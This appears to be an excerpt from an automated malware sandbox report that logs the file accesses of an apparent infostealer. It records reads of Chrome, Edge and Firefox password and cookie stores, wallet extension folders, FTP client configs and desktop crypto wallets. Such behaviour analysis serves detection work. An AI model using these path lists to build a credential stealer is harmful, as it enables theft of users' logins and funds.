Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
